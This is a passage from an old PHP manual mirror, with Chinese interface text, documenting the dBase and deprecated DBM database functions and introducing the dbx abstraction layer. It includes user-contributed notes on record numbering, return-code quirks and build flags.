  array("date",     "D"),
  array("name",     "C",  50),
  array("age",      "N",   3, 0),
  array("email",    "C", 128),
  array("ismember", "L")
);

// creation
if (!dbase_create('/tmp/test.dbf', $def)) {
  echo "Error, can't create the database\n";
}

?>

参见

dbase_open()
dbase_close()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbase_close | 上一级 | dbase_delete_record


dbase_delete_record

(PHP 3, PHP 4, PHP 5)

dbase_delete_record -- Deletes a record from a database

说明

bool dbase_delete_record ( int dbase_identifier, int record_number )

Marks the given record to be deleted from the database.

注: To actually remove the record from the database, you must also call dbase_pack().

参数

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

record_number

An integer which spans from 1 to the number of records in the database (as returned by dbase_numrecords()).

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

dbase_add_record()
dbase_replace_record()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbase_create | 上一级 | dbase_get_header_info


dbase_get_header_info

(PHP 5)

dbase_get_header_info -- Gets the header info of a database

说明

array dbase_get_header_info ( int dbase_identifier )

Returns information on the column structure of the given database link identifier.

参数

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

返回值

An indexed array with an entry for each column in the database. The array index starts at 0.

Each array element contains an associative array of column information, as described here:

name

The name of the column

type

The human-readable name for the dbase type of the column (i.e. date, boolean, etc.)

length

The number of bytes this column can hold

precision

The number of digits of decimal precision for the column

format

A suggested printf() format specifier for the column

offset

The byte offset of the column from the start of the row

If the database header information cannot be read, FALSE is returned.

范例

例子 1. Showing header information for a dBase database file

<?php
// Path to dbase file
$db_path = "/tmp/test.dbf";

// Open dbase file
$dbh = dbase_open($db_path, 0)
  or die("Error! Could not open dbase database file '$db_path'.");

// Get column information
$column_info = dbase_get_header_info($dbh);

// Display information
print_r($column_info);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbase_delete_record | 上一级 | dbase_get_record_with_names


dbase_get_record_with_names

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

dbase_get_record_with_names -- Gets a record from a database as an associative array

说明

array dbase_get_record_with_names ( int dbase_identifier, int record_number )

Gets a record from a dBase database as an associative array.

参数

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

record_number

The index of the record.

返回值

An associative array with the record. This will also include a key named deleted which is set to 1 if the record has been marked for deletion (see dbase_delete_record()).

Each field is converted to the appropriate PHP type, except:

  • Dates are left as strings.

  • Integers that would have caused an overflow (> 32 bits) are returned as strings.

On error, dbase_get_record_with_names() will return FALSE.

范例

例子 1. Listing all the registered members in the database

<?php
// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
  $record_numbers = dbase_numrecords($db);
  for ($i = 1; $i <= $record_numbers; $i++) {
      $row = dbase_get_record_with_names($db, $i);
      if ($row['ismember'] == 1) {
          echo "Member #$i: " . trim($row['name']) . "\n";
      }
  }
}
?>

参见

dbase_get_record()

add a note add a note User Contributed Notes
16-Sep-2005 07:32
$foo_db = dbase_open ( 'foo.dbf', 0);

if ($foo_db) {
  $rn = dbase_numrecords($foo_db);

  echo "Record 0: ";
  $test = dbase_get_record_with_names($foo_db, 0);
  echo $test['deleted'] . " FOO BAR: '" . $test['BAR'] . "'\n";

  echo "Record n+1: ";
  $test = dbase_get_record_with_names($foo_db, $rn+1);
  echo $test['deleted'] . " FOO BAR: '" . $test['BAR'] . "'\n";

}

Gives:

Record 0: 0 FOO BAR: ' '

Record n+1:
Warning: Tried to read bad record 30 in ./DisplayAccounts.php on line 21
FOO BAR: ''

0 is not an error record, it's just empty - and actually, not quite empty, as you see BAR got a single space.
bishop
03-Jul-2005 08:52
I would like to emphasize that record numbers begin with 1, not 0. So, this is wrong:
<?php
$recCnt = dbase_numrecords($fh);
for ($recNum = 0; $recNum < $recCnt; $recNum++) {
   // wrong! first record will fail
   $record = dbase_get_record_with_names($fh, $recNum);
}
?>

This is right:

<?php
$recCnt = dbase_numrecords($fh);
for ($recNum = 1; $recNum <= $recCnt; $recNum++) {
   // right! record #s begin with 1, don't forget <=
   $record = dbase_get_record_with_names($fh, $recNum);
}
?>
add a note add a note

后退 | 起点 | 前进
dbase_get_header_info | 上一级 | dbase_get_record


dbase_get_record

(PHP 3, PHP 4, PHP 5)

dbase_get_record -- Gets a record from a database as an indexed array

说明

array dbase_get_record ( int dbase_identifier, int record_number )

Gets a record from a database as an indexed array.

参数

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

record_number

The index of the record.

返回值

An indexed array with the record. This array will also include an associative key named deleted which is set to 1 if the record has been marked for deletion (see dbase_delete_record()).

Each field is converted to the appropriate PHP type, except:

  • Dates are left as strings.

  • Integers that would have caused an overflow (> 32 bits) are returned as strings.

On error, dbase_get_record() will return FALSE.

参见

dbase_get_record_with_names()

add a note add a note User Contributed Notes
06-Feb-2006 08:39
Take care with this! Strings are not binary safe using these procedures!!!
add a note add a note

后退 | 起点 | 前进
dbase_get_record_with_names | 上一级 | dbase_numfields


dbase_numfields

(PHP 3, PHP 4, PHP 5)

dbase_numfields -- Gets the number of fields of a database

说明

int dbase_numfields ( int dbase_identifier )

Gets the number of fields (columns) in the specified database.

注: Field numbers are between 0 and dbase_numfields($db)-1, while record numbers are between 1 and dbase_numrecords($db).

参数

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

返回值

The number of fields in the database, or FALSE if an error occurs.

范例

例子 1. dbase_numfields() Example

<?php

$rec = dbase_get_record($db, $recno);
$nf  = dbase_numfields($db);
for ($i = 0; $i < $nf; $i++) {
  echo $rec[$i], "\n";
}

?>

参见

dbase_numrecords()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbase_get_record | 上一级 | dbase_numrecords


dbase_numrecords

(PHP 3, PHP 4, PHP 5)

dbase_numrecords -- Gets the number of records in a database

说明

int dbase_numrecords ( int dbase_identifier )

Gets the number of records (rows) in the specified database.

注: Record numbers are between 1 and dbase_numrecords($db), while field numbers are between 0 and dbase_numfields($db)-1.

参数

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

返回值

The number of records in the database, or FALSE if an error occurs.

范例

例子 1. Looping over all the records of the database

<?php

// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
  $record_numbers = dbase_numrecords($db);
  for ($i = 1; $i <= $record_numbers; $i++) {
      // do something here, for each record
  }
}

?>

参见

dbase_num_fields()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbase_numfields | 上一级 | dbase_open


dbase_open

(PHP 3, PHP 4, PHP 5)

dbase_open -- Opens a database

说明

int dbase_open ( string filename, int mode )

dbase_open() opens a dBase database with the given access mode.

注: 当安全模式被激活时，PHP 将检查被操作的文件或者目录是否与正在执行的脚本有相同的 UID（所有者）。

注: 本函数受 open_basedir 的影响。

参数

filename

The name of the database. It can be a relative or absolute path to the file where dBase will store your data.

mode

An integer which correspond to those for the open() system call (Typically 0 means read-only, 1 means write-only, and 2 means read and write).

注: You can't open a dBase file in write-only mode as the function will fail to read the headers information and thus you can't use 1 as mode.

范例

例子 1. Opening a dBase database file

<?php

// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
  // read some data ..

  dbase_close($db);
}

?>

返回值

Returns a database link identifier if the database is successfully opened, or FALSE if an error occurred.

参见

dbase_create()
dbase_close()

add a note add a note User Contributed Notes
jmertic at ncscredit dot com
17-Oct-2001 07:57
If you are wanting to open Foxpro tables using this, make sure they are in the 2.x format or php will not respond. In VFP use the following:

COPY TO tablename.dbf TYPE FOX2X

This is an easy way to bring database info to the web if you have a small foxpro setup.
add a note add a note

后退 | 起点 | 前进
dbase_numrecords | 上一级 | dbase_pack


dbase_pack

(PHP 3, PHP 4, PHP 5)

dbase_pack -- Packs a database

说明

bool dbase_pack ( int dbase_identifier )

Packs the specified database by permanently deleting all records marked for deletion using dbase_delete_record().

参数

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Emptying a dBase database

<?php

// open in read-write mode
$db = dbase_open('/tmp/test.dbf', 2);

if ($db) {
  $record_numbers = dbase_numrecords($db);
  for ($i = 1; $i <= $record_numbers; $i++) {
      dbase_delete_record($db, $i);
  }
  // expunge the database
  dbase_pack($db);
}

?>

参见

dbase_delete_record()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbase_open | 上一级 | dbase_replace_record


dbase_replace_record

(PHP 3 >= 3.0.11, PHP 4, PHP 5)

dbase_replace_record -- Replaces a record in a database

说明

bool dbase_replace_record ( int dbase_identifier, array record, int record_number )

Replaces the given record in the database with the given data.

参数

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

record

An indexed array of data. The number of items must be equal to the number of fields in the database, otherwise dbase_add_record() will fail.

注: If you're using dbase_get_record() return value for this parameter, remember to reset the key named deleted.

record_number

An integer which spans from 1 to the number of records in the database (as returned by dbase_numrecords()).

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Updating a record in the database

<?php

// open in read-write mode
$db = dbase_open('/tmp/test.dbf', 2);

if ($db) {
  // gets the old row
  $row = dbase_get_record_with_names($db, 1);

  // remove the 'deleted' entry
  unset($row['deleted']);

  // Update the date field with the current timestamp
  $row['date'] = date('Ymd');

  // Replace the record
  dbase_replace_record($db, $row, 1);
  dbase_close($db);
}

?>

参见

dbase_add_record()
dbase_delete_record()

add a note add a note User Contributed Notes
hassan at datakillarna dot se
11-Feb-2006 08:30
If you get "unexpected error", try to change the assoc array, $row, to an indexed array with array_values().

Example:
$row = array_values($row);
dbase_replace_record($db, $row, 1);

The dbase_replace-function cannot handle an assoc array.

Hope this will save someone a headache! ;)
wysocki at wildworld dot net
12-Feb-2005 05:15
The dbase add and replace functions do NOT like to use the associative array.

<?
//This gives "unspecified error" on replace and add:
$row = dbase_get_record_with_names($db, 1);
unset($row['deleted']);
dbase_replace_record($db, $row, 1);
dbase_add_record($db, $row);

//To further prove the point,
//The first add works, the second one fails:
$testrow1=array('one','2','three');
dbase_add_record($db,$testrow1);
$testrow2=array('FIELDA' => 'xxx','FIELDB' => '9','FIELDC' => 'yyyyy');
dbase_add_record($db,$testrow2);
?>
ptorres at ensenada dot net
17-Jan-2002 09:45
how replace a record ?
This example delete a record and
add a record with a new field value.

// createtable.php

<?
$dbname = "players.dbf";
$def = array
(
array("record",  "N",8,0),
array("account",  "C",10),
array("password",  "C",5),
array("name",  "C",30)
);
if (!dbase_create($dbname, $def))
{
print "<strong>Error! <BR> Try: chmod 707 tabledirectory</strong>";
}
else
{
print "<strong>The table ".$dbname." was created !</strong>";
}
?>

// addrecord.php
// just a test, you can add more features to send the data by a html form and validate the account
<?
$db=dbase_open("players.dbf",);
 $nextrecord = 1;
 for ($a=1; $a <= $nr; $a++)
  {
     $rec = dbase_get_record($db, $a);
     $nextrecord = $rec[0]+1;
  }
 $def = array ($nextrecord,'hsanchez', 'hugol', 'hugo sanchez');
   dbase_add_record($db, $def);
   dbase_close($db);
?>

// modify.htm
<FORM ACTION='modify.php' METHOD='post'>
<TABLE BORDER='9'>
<TR>
<TD>Account</TD><TD>Password</TD><TD>Name</TD>
</TR>
<TR>
<TD><INPUT TYPE='TEXT' SIZE='10' MAXLENGTH='10' NAME='f_account></TD><TD><INPUT TYPE='PASSWORD' SIZE='5' MAXLENGTH='5' NAME='f_password'></TD><TD><INPUT TYPE='TEXT' SIZE='30' MAXLENGTH='30' NAME='f_name'></TD>
</TR>
</TABLE>
<BR>
<INPUT TYPE='Submit' VALUE='Modify'><BR>
</FORM>
</CENTER>
</BODY>
</HTML>

// modify.php

<?

$exist = 0;
$db=dbase_open("players.dbf",0);
$nr = dbase_numrecords($db);

if ($nr==0)
  {
   print "There's no players !";
  }
else
  {
   for ($a=1; $a <= $nr; $a++)
     {
     $rec = dbase_get_record($db, $a);
     if ( !strcasecmp (trim($rec[1]), trim($f_account)) and !strcasecmp (trim($rec[2]), trim($f_password)))
       {
           $exist = 1;
           $nrm = $a;
           break;
       }
     }
  }
dbase_close($db);

if ($exist == 1) {

  if ($f_name and $f_account and $f_password)
  {
   $db=dbase_open("players.dbf",2);
   dbase_delete_record($db,$nrm);
   dbase_pack($db);
   dbase_close($db);

   $db=dbase_open("players.dbf",2);
   $def = array($nrm,trim($f_account),$f_password,trim($f_name));
   dbase_add_record($db, $def);

   print "The name was updated !";
  }
  else
  {
   print "<strong>Error, enter alll data!</strong>";
  }
}

if ($exist == 0)
 {
  print "<strong>Error, the data is not valid !</strong>";
 }

?>

That's all !

I know that there is a dbase-replace-record function but i could use it.
add a note add a note

后退 | 起点 | 前进
dbase_pack | 上一级 | DBM Functions [deprecated]


DBM Functions [deprecated]

PHP 手册
后退 前进

XXV. DBM Functions [deprecated]

简介

These functions allow you to store records stored in a dbm-style database. This type of database (supported by the Berkeley DB, GDBM, and some system libraries, as well as a built-in flatfile library) stores key/value pairs (as opposed to the full-blown records supported by relational databases).

注: However, dbm support is deprecated and you are encouraged to use the Database (dbm-style) abstraction layer functions instead.

需求

To use this functions you have to compile PHP with support for an underlying database. See the list of supported Databases.

安装

In order to use these functions, you must compile PHP with dbm support by using the --with-db option. In addition you must ensure support for an underlying database or you can use some system libraries.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

The function dbmopen() returns an database identifier which is used by the other dbm-functions.

预定义常量

本扩展模块未定义任何常量。

范例

例子 1. DBM example

<?php

$dbm = dbmopen("lastseen", "w");
if (dbmexists($dbm, $userid)) {
    $last_seen = dbmfetch($dbm, $userid);
} else {
    dbminsert($dbm, $userid, time());
}
do_stuff();
dbmreplace($dbm, $userid, time());
dbmclose($dbm);

?>

目录
dblist -- Describes the DBM-compatible library being used
dbmclose -- Closes a dbm database
dbmdelete -- Deletes the value for a key from a DBM database
dbmexists -- Tells if a value exists for a key in a DBM database
dbmfetch -- Fetches a value for a key from a DBM database
dbmfirstkey -- Retrieves the first key from a DBM database
dbminsert -- Inserts a value for a key in a DBM database
dbmnextkey -- Retrieves the next key from a DBM database
dbmopen -- Opens a DBM database
dbmreplace -- Replaces the value for a key in a DBM database

add a note add a note User Contributed Notes
foripepe at yahoo dot com
01-Mar-2002 02:16
First:
Make a firstdbm.db file.
Set attribute Read and Write.

--------------------------------------

<html><body>

<?
$dbm = dbmopen("firstdbm","w");
echo "<b>\$dbm: $dbm = dbmopen(\"firstdbm\", \"w\");</b>< br>";
echo "<i>".dblist()." = dblist();</i>< br>< br>";

$fruit = "apple";
$colour = "red";
if (dbmexists ($dbm, $fruit)) {
  $colour = dbmfetch ($dbm, $fruit);
  echo "\$colour: $colour = dbmfetch(\$dbm: $dbm, \$fruit: $fruit);< br>";
  $key = dbmreplace($dbm, $fruit, "green");
  echo "\$key: $key = dbmreplace(\$dbm: $dbm, \$fruit: $fruit, \"green\");< br>";
  $colour = dbmfetch ($dbm, $fruit);
  echo "\$colour: $colour = dbmfetch(\$dbm: $dbm, \$fruit: $fruit);< br>";
  if ( !dbmdelete($dbm, $fruit) ) {
   echo "False (OK) = dbmdelete(\$dbm: $dbm, \$fruit: $fruit);< br>";
  } else {
   echo "True (NOT OK) = dbmdelete(\$dbm: $dbm, \$fruit: $fruit);< br>";
  }
  $colour = dbmfetch ($dbm, $fruit);
  echo "\$color: $colour = dbmfetch(\$dbm: $dbm, \$fruit: $fruit);< br><hr>";
  $i = 1;
  $key = dbmfirstkey($dbm);
  while ($key) {
   if ($i==1) {
     echo "\$key: $key = dbmfirstkey(\$dbm: $dbm);< br>";
   } else {
     echo "\$key: $key = dbmnextkey(\$dbm: $dbm);< br>";
   }
   $i++;
   $colour = dbmfetch ($dbm, $key);
   echo "\$colour: $colour = dbmfetch(\$dbm: $dbm, \$key: $key);< br>";
   $key = dbmnextkey($dbm,$key);
  }
} else {
  dbminsert ($dbm, $fruit, $colour);
  echo "dbminsert(\$dbm: $dbm, \$fruit: $fruit, \$colour: $colour);< br>";
  dbminsert ($dbm, "pear", "yellow");
  echo "dbminsert(\$dbm: $dbm, \"pear\", \"yellow\");< br>";
  dbminsert ($dbm, "apricot", "pink");
  echo "dbminsert(\$dbm: $dbm, \"apricot\", \"pink\");< br><hr>";
  $i = 1;
  $key = dbmfirstkey($dbm);
  while ($key) {
   if ($i==1) {
     echo "\$key: $key = dbmfirstkey(\$dbm: $dbm);< br>";
   } else {
     echo "\$key: $key = dbmnextkey(\$dbm: $dbm);< br>";
   }
   $i++;
   $colour = dbmfetch ($dbm, $key);
   echo "\$colour: $colour = dbmfetch(\$dbm: $dbm, \$key: $key);< br>";
   $key = dbmnextkey($dbm,$key);
  }
}

echo "< br>";
if (dbmclose ($dbm)) {
  echo "<b>True (OK) = dbmclose(\$dbm: $dbm);</b>< br>";
} else {
  echo "<b>False (NOT OK) = dbmclose(\$dbm: $dbm);</b>< br>";
};
?>

</body></html>

--------------------------------------
The first run output:

$dbm: 1 = dbmopen("firstdbm", "w");
ndbm support enabled = dblist();

dbminsert($dbm: 1, $fruit: apple, $colour: red);
dbminsert($dbm: 1, "pear", "yellow");
dbminsert($dbm: 1, "apricot", "pink");

$key: pear = dbmfirstkey($dbm: 1);
$colour: yellow = dbmfetch($dbm: 1, $key: pear);
$key: apricot = dbmnextkey($dbm: 1);
$colour: pink = dbmfetch($dbm: 1, $key: apricot);
$key: apple = dbmnextkey($dbm: 1);
$colour: red = dbmfetch($dbm: 1, $key: apple);

True (OK) = dbmclose($dbm: 1);

--------------------------------------
The second run output:

$dbm: 1 = dbmopen("firstdbm", "w");
ndbm support enabled = dblist();

$colour: red = dbmfetch($dbm: 1, $fruit: apple);
$key: 0 = dbmreplace($dbm: 1, $fruit: apple, "green");
$colour: green = dbmfetch($dbm: 1, $fruit: apple);
False (OK) = dbmdelete($dbm: 1, $fruit: apple);
$color: = dbmfetch($dbm: 1, $fruit: apple);

$key: pear = dbmfirstkey($dbm: 1);
$colour: yellow = dbmfetch($dbm: 1, $key: pear);
$key: apricot = dbmnextkey($dbm: 1);
$colour: pink = dbmfetch($dbm: 1, $key: apricot);

True (OK) = dbmclose($dbm: 1);
jb at abzone dot cz
06-Oct-2001 01:27
NOTE: DBM and DBA are two different extensions which must
     be configured separately.

Hi *,
names of these functions was changed in PHP4.
Refer to http://www.faqts.com/knowledge_base/view.phtml/aid/1988
or http://www.zend.com/manual/ref.dba.php .
Regards Jindra
mouse at bloodletting dot com
07-Jul-2001 09:23
Be advised that almost every function in this section either has no documentation or incorrectly documented regarding return codes.  If you want to use the DB methods safely you will have to reverse engineer the return codes and hope that they do not change values returned by the functions in the future to match the incorrect documentation.

In my experience, the return code of 0 or FALSE indicates no error.  This matches the behavior of GDBM which I am using as my underlying DB manager.  This may not be true for people using another manager, or the builtin flatfile code.
add a note add a note

后退 | 起点 | 前进
dbase_replace_record | 上一级 | dblist


dblist

(PHP 3, PHP 4, PECL)

dblist -- Describes the DBM-compatible library being used

Description

string dblist ( void )

例子 1. Getting the information on the command line

[marcus@zaphod marcus]$ php -r 'echo dblist();'
This is GDBM version 1.8.0, as of May 19, 1999.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DBM Functions [deprecated] | 上一级 | dbmclose


dbmclose

(PHP 3, PHP 4, PECL)

dbmclose -- Closes a dbm database

Description

bool dbmclose ( resource dbm_identifier )

Unlocks and closes the specified database.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dblist | 上一级 | dbmdelete


dbmdelete

(PHP 3, PHP 4, PECL)

dbmdelete -- Deletes the value for a key from a DBM database

Description

bool dbmdelete ( resource dbm_identifier, string key )

Deletes the value for key in the database.

Returns FALSE if the key didn't exist in the database.

add a note add a note User Contributed Notes
v dot a dot rao at online dot nl
10-Sep-2000 04:53
Doesn't return false if the key is not in the database (contrary to what the documentation states).

Returns -1 (TRUE) if the key doesn't exist
Returns 0 (FALSE) if the key does exist

This is still a bug (3.0.16 and 4.0.2) and it can still cost you your Saturday afternoon if you comply with the PHP documentation on TRUE (non-zero) and FALSE (0) with regards to this function.

http://www.php.net/manual/language.expressions.php
add a note add a note

后退 | 起点 | 前进
dbmclose | 上一级 | dbmexists


dbmexists

(PHP 3, PHP 4, PECL)

dbmexists -- Tells if a value exists for a key in a DBM database

Description

bool dbmexists ( resource dbm_identifier, string key )

Returns TRUE if there is a value associated with the key.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbmdelete | 上一级 | dbmfetch


dbmfetch

(PHP 3, PHP 4, PECL)

dbmfetch -- Fetches a value for a key from a DBM database

Description

string dbmfetch ( resource dbm_identifier, string key )

Returns the value associated with key.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbmexists | 上一级 | dbmfirstkey


dbmfirstkey

(PHP 3, PHP 4, PECL)

dbmfirstkey -- Retrieves the first key from a DBM database

Description

string dbmfirstkey ( resource dbm_identifier )

Returns the first key in the database. Note that no particular order is guaranteed since the database may be built using a hash-table, which doesn't guarantee any ordering.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbmfetch | 上一级 | dbminsert


dbminsert

(PHP 3, PHP 4, PECL)

dbminsert -- Inserts a value for a key in a DBM database

Description

int dbminsert ( resource dbm_identifier, string key, string value )

Adds the value to the database with the specified key.

Returns -1 if the database was opened read-only, 0 if the insert was successful, and 1 if the specified key already exists. (To replace the value, use dbmreplace().)

add a note add a note User Contributed Notes
schoch4 at starnet dot com
19-Oct-2000 08:20
In PHP 3, the key is passed as a C string with its length set to its strlen.  This can be a problem if you want to use the DBM file as an AuthDBMUserFile for apache with NETSCAPE_DBM_COMPAT defined.  In that case, apache needs a trailing NULL on the key, which this function can't do.
add a note add a note

后退 | 起点 | 前进
dbmfirstkey | 上一级 | dbmnextkey


dbmnextkey

(PHP 3, PHP 4, PECL)

dbmnextkey -- Retrieves the next key from a DBM database

Description

string dbmnextkey ( resource dbm_identifier, string key )

Returns the next key after key. By calling dbmfirstkey() followed by successive calls to dbmnextkey() it is possible to visit every key/value pair in the dbm database. For example:

例子 1. Visiting every key/value pair in a DBM database

<?php

$key = dbmfirstkey($dbm_id);
while ($key) {
    echo "$key = " . dbmfetch($dbm_id, $key) . "\n";
    $key = dbmnextkey($dbm_id, $key);
}

?>

add a note add a note User Contributed Notes
fischer at schlund dot de
20-Mar-2001 02:08
When you have a key "0" or so in your DB, then the example don't works, because "while ($key)" will return false for 0 ...
I had good experiences with "while (strlen($key)>0)" as condition ... because when we have the last key false is returned and false evaluates to "nothing" ...
fred at ontosys dot com
13-Oct-2000 01:41
dbmnext() seems to lose the thread if the program deletes keys as it walks through all rows.  I imagine that something similar happens with inserts.  One way around this is to make two passes:  one to collect the keys and one to manipulate the rows.  For example:

$old_keys = array();
for ($key = dbmfirstkey($db); $key; $key = dbmnextkey($db, $key)) {
  $old_keys[] = $key;
}
while (list($_, $key) = each($old_keys)) {
   dbmdelete($db, $key);
}
hiongun at kt dot co dot kr
08-Oct-1999 10:52
$key = dbmnextkey($dbm_id, $key) returns
"" on the second call.
karutla at hotmail dot com
01-Oct-1999 07:14
$key = dbmfirstkey($dbm_id);
while ($key) {
   dbmreplace($dbm_id, $value);
   $key = dbmnextkey($dbm_id, $key);
}

doesn't seem to iterate through all the records properly.
add a note add a note

后退 | 起点 | 前进
dbminsert | 上一级 | dbmopen


dbmopen

(PHP 3, PHP 4, PECL)

dbmopen -- Opens a DBM database

Description

resource dbmopen ( string filename, string flags )

The first argument is the full-path filename of the DBM file to be opened and the second is the file open mode which is one of "r", "n", "c" or "w" for read-only, new (implies read-write, and most likely will truncate an already-existing database of the same name), create (implies read-write, and will not truncate an already-existing database of the same name) and read-write respectively.

Returns an identifier to be passed to the other DBM functions on success, or FALSE on failure.

If NDBM support is used, NDBM will actually create filename.dir and filename.pag files. GDBM only uses one file, as does the internal flat-file support, and Berkeley DB creates a filename.db file. Note that PHP does its own file locking in addition to any file locking that may be done by the DBM library itself. PHP does not delete the .lck files it creates. It uses these files simply as fixed inodes on which to do the file locking. For more information on DBM files, see your Unix man pages, or obtain GNU's GDBM.

注: 当安全模式被激活时，PHP 将检查被操作的文件或者目录是否与正在执行的脚本有相同的 UID（所有者）。

add a note add a note User Contributed Notes
sitz at onastick dot net
17-Jul-2001 04:11
Want to use dbmopen() to open an NDBM DB under solaris? Want to have GDBM support as well? Tough; you can't. You *can* use dba_open(), but you need to jump through a couple of hoops first:

First, you need to re-roll libgdbm so that DBM/NDBM compatiblity are removed. For GDBM-1.7.3, change this line in the Makefile:

OBJS = $(DBM_OF) $(NDBM_OF) $(GDBM_OF)

to this:

OBJS = $(GDBM_OF)

Once that's installed, re-run ./configure --with-gdbm=/<prefix> --with-ndbm --with-db=/<prefix> <other args>, where <prefix> is the directory which holds the include/ directory containing the associated header files. make, make install, adjust your scripts to use dba_open() with the ndbm handler. Voila!
donotspam-dbirchall at cheaptickets dot com
07-Jul-2001 11:20
Like the last few posters, I noticed dbmopen() suddenly stop working when I went from PHP3 to PHP4.  Fortunately, I (unlike them? ;) noticed mavetju's post suggesting rebuilding PHP with --with-db and --with-ndb.  Unsurprisingly, this solved it.  Many thanks to mavetju, and I encourage other users to read answers that have already been posted. :)
mavetju at chello dot nl
11-Jan-2001 10:19
If you are running php >4.0.2 and you have suddenly problems with dbmopen (i.e. it complains that the function does not exist), recompile php with --with-ndb *and* --with-db
skipatrol at sprintmail dot com
13-Oct-1999 11:35
If using php3 on a win 95/98 machine, you must have the complete path to the db file.  And always remember that if you user the " mark, add one extra slash before any regular slashes.  Otherwise use the ' and normal slashes.

$dmb = 'd:\httpd\storit\users';

$modify = dbmopen($dmb, "w");
$username = dbmfetch($modify, $email, $username);
$password = dbmfetch($modify, $username, $password);

echo "Current username: $username";
echo "Current password: $password";

exit;
admin at cinenet dot com dot mx
28-Jul-1999 06:52
Most of the dbm functions can use the full-path of the dbm file as the argument instead of the db identifier generated by dbmopen() in a similar way it used to be on php2. The big exception is dbmclose() that MUST use the db identifier, otherwise the dbm file keeps open. Be aware of that if you're updating your php2 files.
i.e. this code works in the most lines, except to close the dbm file:

$fn="/full/path/of/dbmfile";
dbmopen($fn,"r");
$row=dbmfetch($fn,"MyKey");
dbmclose($fn);

Instead, allways prefer to use:

$fn="/full/path/of/dbmfile";
$db=dbmopen($fn,"r");
$row=dbmfetch($db,"MyKey");
dbmclose($db);
add a note add a note

后退 | 起点 | 前进
dbmnextkey | 上一级 | dbmreplace


dbmreplace

(PHP 3, PHP 4, PECL)

dbmreplace -- Replaces the value for a key in a DBM database

Description

int dbmreplace ( resource dbm_identifier, string key, string value )

Replaces the value for the specified key in the database.

This will also add the key to the database if it didn't already exist.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbmopen | 上一级 | dbx Functions


dbx Functions

PHP 手册
后退 前进

XXVI. dbx Functions

简介

The dbx module is a database abstraction layer (db 'X', where 'X' is a supported database). The dbx functions allow you to access all supported databases using a single calling convention. The dbx-functions themselves do not interface directly to the databases, but interface to the modules that are used to support these databases.

注: 本扩展已被移动到 PECL 库中且自以下版本起不再被绑定到 PHP 中：5.1.0.

需求

To be able to use a database with the dbx-module, the module must be either linked or loaded into PHP, and the database module must be supported by the dbx-module. Currently, the following databases are supported, but others will follow:

  • FrontBase (available from PHP 4.1.0).

  • Microsoft SQL Server

  • MySQL

  • ODBC

  • PostgreSQL

  • Sybase-CT (available from PHP 4.2.0).

  • Oracle (oci8) (available from PHP 4.3.0).

  • SQLite (PHP 5).

Documentation for adding additional database support to dbx can be found at http://www.guidance.nl/php/dbx/doc/.

安装

In order to have these functions available, you must compile PHP with dbx support by using the --enable-dbx option and all options for the databases that will be used, e.g. for MySQL you must also specify --with-mysql=[DIR]. To get other supported databases to work with the dbx-module refer to their specific documentation.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. DBX Configuration Options

Name | Default | Changeable | Changelog
dbx.colnames_case | "unchanged" | PHP_INI_SYSTEM | Available since PHP 4.3.0.
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

dbx.colnames_case string

Columns names can be returned "unchanged" or converted to "uppercase" or "lowercase". This directive can be overridden with a flag to dbx_query().

资源类型

There are two resource types used in the dbx module. The first one is the link-object for a database connection, the second a result-object which holds the result of a query.

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

DBX_MYSQL (integer)

DBX_ODBC (integer)

DBX_PGSQL (integer)

DBX_MSSQL (integer)

DBX_FBSQL (integer)

DBX_OCI8 (integer) (available from PHP 4.3.0)

DBX_SYBASECT (integer)

DBX_SQLITE (integer) (PHP 5)

DBX_PERSISTENT (integer)

DBX_RESULT_INFO (integer)

DBX_RESULT_INDEX (integer)

DBX_RESULT_ASSOC (integer)

DBX_RESULT_UNBUFFERED (integer) (PHP 5)

DBX_COLNAMES_UNCHANGED (integer) (available from PHP 4.3.0)

DBX_COLNAMES_UPPERCASE (integer) (available from PHP 4.3.0)

DBX_COLNAMES_LOWERCASE (integer) (available from PHP 4.3.0)

DBX_CMP_NATIVE (integer)

DBX_CMP_TEXT (integer)

DBX_CMP_NUMBER (integer)

DBX_CMP_ASC (integer)

DBX_CMP_DESC (integer)

目录
dbx_close -- Close an open connection/database
dbx_compare -- Compare two rows for sorting purposes
dbx_connect -- Open a connection/database
dbx_error -- Report the error message of the latest function call in the module (not just in the connection)
dbx_escape_string -- Escape a string so it can safely be used in an sql-statement
